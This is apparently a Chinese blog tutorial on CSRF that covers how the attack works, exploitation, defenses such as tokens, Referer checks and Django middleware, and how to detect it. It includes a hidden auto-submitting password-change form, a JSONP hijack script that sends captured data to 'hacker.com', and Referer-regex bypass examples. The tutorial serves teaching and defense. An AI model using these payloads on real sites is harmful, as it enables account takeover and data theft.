CSRF 原理与防御案例分析

本文作者: Yunen (信安之路新晋作者)

CSRF,也称 XSRF,即跨站请求伪造攻击,与 XSS 相似,但与 XSS 相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与 XSS 一起配合攻击。

CSRF 原理

攻击者通过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。

CSRF 漏洞产生的主要原因:

1、请求所有的参数均可确定

2、请求的审核不严格,如:只验证了 Cookie

关于 CSRF 的执行过程,这里引用自 hyddd 大佬画的图:

我们知道,当我们使用 img 等标签时,通过设置标签的 src 等属性引入外部资源,是可以被浏览器认为是合法的跨域请求,也就是说是可以带上 Cookie 访问的。

试想一下,如果我们在 a.com 上放置一个 img 标签 <img src=//b.com/del?id=1> 。当 b.com 的用户在 cookie 为过期的情况下访问 a.com,此时浏览器会向 b.com 发送一个指向 http://b.com/del?id=1GET 请求,并且这个请求是带上 Cookie 的,而 b.com 的服务器仅仅是通过 cookie 进行权限判断,那么服务器就会进行相应的操作,比如假设此处为删除某个文章,用户在不知情的情况下便已完成操作。

CSRF 能够造成的危害

1、篡改目标网站上的用户数据;

2、盗取用户隐私数据;

3、作为其他攻击向量的辅助攻击手法;

4、传播 CSRF 蠕虫。

CSRF 的利用方式

1、通过 HTML 标签发送合法的跨域请求

2、通过 Ajax 发送请求(由于 CORS 机制的存在,一般不使用)

这里涉及到同源策略,如果不是很清楚可以先去了解一下。

1) HTML 标签

我们知道,根据同源策略的规定,跨域请求是不允许带上 Cookie 等信息的,可是出于种种考虑最终没有进行完全禁止,即存在某些合法的跨域请求。

通常由 HTML 标签 srclowsrc 等属性产生的跨域请求是被浏览器认为是合法的跨域请求,并且此时并不需要 javascript 的参与。

由 HTML 标签发出的合法跨域请求与正常的用户点击发出的请求相比所不同的是:两者请求头中的 Referer 值不同。

不过值得说明的是 IE 浏览器在面对这种情况时会判断 本地 Cookie 是否带上 P3P 属性,如果仅仅是内存Cookie则不受此影响。

CSRF 不仅仅只能针对 GET 请求,也可以针对 POST 请求,不过只能使用 from 标签进行自动提交,注意此处需用到 javascript

<html>

<head></head>

<body>

<form action="http://a.com/changepass"method="POST">

<input type="hidden" name="username" value="victim">

<input type="hidden" name="password" value="hacker">

<input id="sub"type="submit">//可用样式表将按钮隐藏

</form>

<script>

document.getElementById("sub").click()

</script>

</body>

</html>

2) Ajax

除了通过 HTML 标签发送跨域请求外,还可以通过 Ajax 来发送跨域情况,不过 Ajax 是严格遵守 CORS 规则的。

关于 CORS 规则,不清楚的可以去看看 evoA 大佬的一篇文章 《跨域方式及其产生的安全问题》:

滑动验证页面

简单来说就是需要存在 CSRF 漏洞的网站返回的请求头里的 Access-Control-Allow-Oringin 值为 ajax 请求发出的站点,注意这里的值不能为 * ,且 Access-Control-Allow-Credentials 的值为 true 再加上 xhr 的 withCredentials 属性也为 true 才能带上 Cookie 进行跨域请求,因利用条件较为苛刻,故通常情况下我们不使用 Ajax 来进行 CSRF 攻击。

通常使用 Ajax 来跨域进行 CSRF 攻击的漏洞一般都配合 XSS 漏洞,此时的 Ajax 与目标域相同,不受 CORS 的限制。

CSRF 利用实例

1) 常用利用方式

攻击者构造恶意 html,通过引诱用户/管理员访问,触发 CSRF 漏洞。

2) 结合 XSS 利用

CSRF+XSS 结合,产生的危害已几何倍数剧增。如果 CSRF 和 XSS 两个漏洞是在同一个域下的话,那么此时的 CSRF 已经变成了 OSRF 了,即本站点请求伪造(出自《黑客攻防技术宝典 Web 实战篇第二版》p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。

3) jsonp

我们知道网站 api 返回的数据类型一般为 json 型或 Array 型,这里我们仅讨论 json 型。

当我们需要调用远程 api 时 json 返回的数据一般如下:

user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})

这是因为开发者如果需要调用远程服务器的 api 获取 json 数据,由于同源策略的限制,通过 ajax 获取就会显得比较麻烦,相比之下 <script> 标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得 json 数据可以进行方便的跨域传输。此处的 user 为回调函数名,一般为某个请求参数值(比如: callback ),就上述例子说,只需要通过下面方法即可调用返回的数据:

<script>

function user(data){

console.log(data);//此时的json数据已经存储进了data变量中    

  }

</script>

这种远程 api 接口十分容易受到 CSRF 攻击,我们可以通过修改 callback 参数值并添加自定义函数,如:

<html>

<head></head>

<body>

<script>

function jsonphack(data){

newimage().src="http://hacker.com/json.php?data="+escape(data);

//将json返回的数据发送到黑客服务器上

  }

</script>

<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>

</body>

</html>

4) 更多例子

从零开始学 CSRF:

访问的文章审核中... - FreeBuf网络安全行业门户

Web 安全系列 -- Csrf 漏洞:

滑动验证页面

phpMyAdmin 4.7.x CSRF 漏洞利用:

滑动验证页面

防御 CSRF 攻击

前边我们说到,产生 CSRF 的原因主要有两点,那么我们可以针对这两点进行相应的防御。

1) Token

我们知道 CSRF 攻击的请求除了 Cookie 以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?

这里我们称这个随机的、无法被预计的值叫做 Token,一般是由服务端在接收到用户端请求后生成,返回给用户的 Token 通常放置在 hidden 表单或用户的 Cookie 里。

当用户打开正常的发送请求的页面时,服务器会生成一串随机的 Token 值给浏览器,在发送请求时带上此 Token,服务端验证 Token 值,如果相匹配才执行相应的操作、 销毁 原 Token 以及生成并返回 的 Token 给用户,这样做不仅仅起到了 防御 CSRF 的作用,还可以防止 表单的重复提交

由于 HTML 标签产生的合法跨域只能是单向请求,无法通过 CSRF 直接取返回的内容,所以我们无法使用 CSRF 先取 Token 值再构造请求,这使得 Token 可以起到防御 CSRF 的作用。

注意 Token 不应该放置在网页的 Url 中,如果放在 Url 中当浏览器自动访问外部资源,如 img 标签的 src 属性指向攻击者的服务器,Token 会出现作为 Referer 发送给外部服务器,以下为相关实例:

WooYun-2015-136903

2) Referer

前边我们提到,CSRF 伪造的请求与用户正常的请求相比最大的区别就是请求头中的 Referer 值 不同,使用我们可以根据这点来防御 CSRF。

在接收请求的服务端判断请求的 Referer 头是否为正常的发送请求的页面,如果不是,则进行拦截。

不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用 Token。

判断 Referer 的一般方法就是利用正则进行判断,而判断 Referer 的正则一定要写全,不然就会如上所说,可绕过!曾经的 Wooyun 上就有许多 CSRF 的漏洞是由于 Referer 的正则不规范导致。

比如 ^http\:\/\/a\.com ,只验证了是否Referer是否以 http://a.com 开头,可是没想到我们可以在自己的顶级域名添加一个子域名 http://a.com.hacker.com ;还有 http\:\/\/a\.com\/ ,通过 http://hacker.com/?http://a.com/ 绕过。以下相关例子均为 Referer 绕过:

WooYun-2015-164067

WooYun-2015-165578

WooYun-2016-166608

WooYun-2016-167674

有些网站由于历史原因会允许空 Referer 头,当 https 向 http 进行跳转时,使用 Html 标签(如 img、iframe) 进行 CSRF 攻击时,请求头是不会带上 Referer 的,可以达到空 Referer 的目的。

3) 验证码

在发送请求前先需要输入基于服务端判断的验证码,机制与 Token 类似,防御 CSRF 效果非常好,不过此方法对用户的友好度很差。

4) 关注点

关于 CSRF 的防护应首先关注高危操作的请求,比如: 网上转账修改密码 等,其次应重点关注那些可以散播的,比如: 分享链接发送消息 等,再者是能辅助散播的,如 取用户好友信息 等,因为前者加上后者制造出来的CSRF蠕虫虽不如 XSS 蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的 特权操作 ,如: 上传文件添加管理员 ,在许多渗透测试中,便是起初利用这点一撸到底。

5) 防御实例:Django 的 CSRF 防御机制

新建个 Django 项目,打开项目下的 settings.py 文件,可以看到这么一行代码: django.middleware.csrf.CsrfViewMiddleware

这个就是 Django 的 CSRF 防御机制,当我们发送 POST 请求时 Django 会自动检测 CSRF_Token 值是否正确。我们把 Debug 打开,可以看到如果我们的 POST 请求无 CSRF_Token 这个值,服务端会返回 403 报错。

现在我们往表单上添加 CSRF_Token 的验证:


<!DOCTYPE html>

<html lang="en">

<head>

   <meta charset="UTF-8">

   <title>Title</title>

</head>

<body>

   <form action="/login/"method="post">

      {% csrf_token %} //添加Token

       <input type="text" name="user"/>

       <input type="text" name="pwd"/>

       <input type="submit" value="登陆"/>

   </form>

</body>

</html>

下图为生成的 HTML,可以看到{% csrf_token %}这串代码被 Django 解析成了一个隐藏的input标签,其中的值为 token 值,当我们发送请求时必须带上这个值。

只有这样 Django 才会接受 POST 请求来的数据,否则返回错误,并且原登陆页面的 CSRF_Token 重新生成,上一个进行销毁,很大程度上防御住了 POST 请求的 CSRF。

补充一张暴漫系列图,引用自先知社区《聊聊 CSRF 漏洞攻防----久等的暴漫》作者: farmsec

CSRF 的常用检测方法

1) 黑盒

1、首先肯定确定 是否除 Cookie 外其他参数均可确定,即:无验证码,无 Token 等

2、再者如果发现是 Referer 头判断 的话,可以尝试是否可以绕过正则。

3、还有就是考虑能不能绕过 Token,比如 Url 处的 Token 用加载攻击者服务器上的图片来获取。

4、最后可以考虑与 XSS 结合,如:攻击者使用 iframe 跨域,存在 xss 漏洞的网站插入的 XSS 执行代码为 eval(window.name) ,那么我们构造的 iframe 标签里可以添加个 name 属性与子页面进行通信,例子:

wooyun-2015-089971

2) 白盒

1、查看是否有 Token,验证码,Referer 等不确定参数判断。

2、判断 Referer 的正则是否安全。

3、判断 Token 返回的位置是否为安全位置。

4、判断生成的 Token 是否足够随机,毫无规律。

从上到下挖掘难度依次递增

补充说明

1) HttpOnly

CSRF 攻击不受 Cookie 的 HttpOnly 属性影响。

2) XSS 漏洞情况下的 CSRF

如果一个网站存在 XSS 漏洞,那么以上针对 CSRF 的防御几乎失去了作用。

3) 关于 Flash 的内容

鉴于 Flash 的凉势,这里暂不做研究以节省时间。

4) 目前 CSRF 形势

就目前而言,CSRF 这个沉睡的巨人颇有一番苏醒的意味,可导致的危害也正在逐步的为人们所知,但目前仍有许多开发人员还没有足够的安全意识,以为只要验证 Cookie 就能确定用户的真实意图了,这就导致了目前仍有大量潜在的 CSRF 漏洞的局面,CSRF 是不可小觑的漏洞,希望大家看完这篇文章能对 CSRF 有个较为清晰的认识。

结束语

这是我在信安之路投稿的第二篇文章,虽说内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,如果有想要与我交流相关内容的可以 email 我(asp-php#foxmail.com # 换成 @)。

最后欢迎大家多多投稿呀,真的能对自己的学习有很大帮助!

参考

书籍:

《Web 前端黑客技术揭秘》p83-p96

《XSS 跨站脚本攻击剖析与防御》p182-p187

《黑客攻防技术宝典 Web 实战篇第二版》p368-p374**

文章:

CSRF 漏洞挖掘:

滑动验证页面

WEB 安全之 Token 浅谈:

https://blog.csdn.net/sum_rain/article/details/37085771

跨域方式及其产生的安全问题:

滑动验证页面

Django 中 CSRF 原理及应用详解:

Django中CSRF原理及应用详解_django csrf-CSDN博客

CSRF 简单介绍及利用方法 | WooYun知识库:

https://drops.secquan.org/papers/155

原生 JSONP 实现_动态加载 js(利用 script 标签):

原生JSONP实现_动态加载js(利用script标签)_jsonp 加载 js-CSDN博客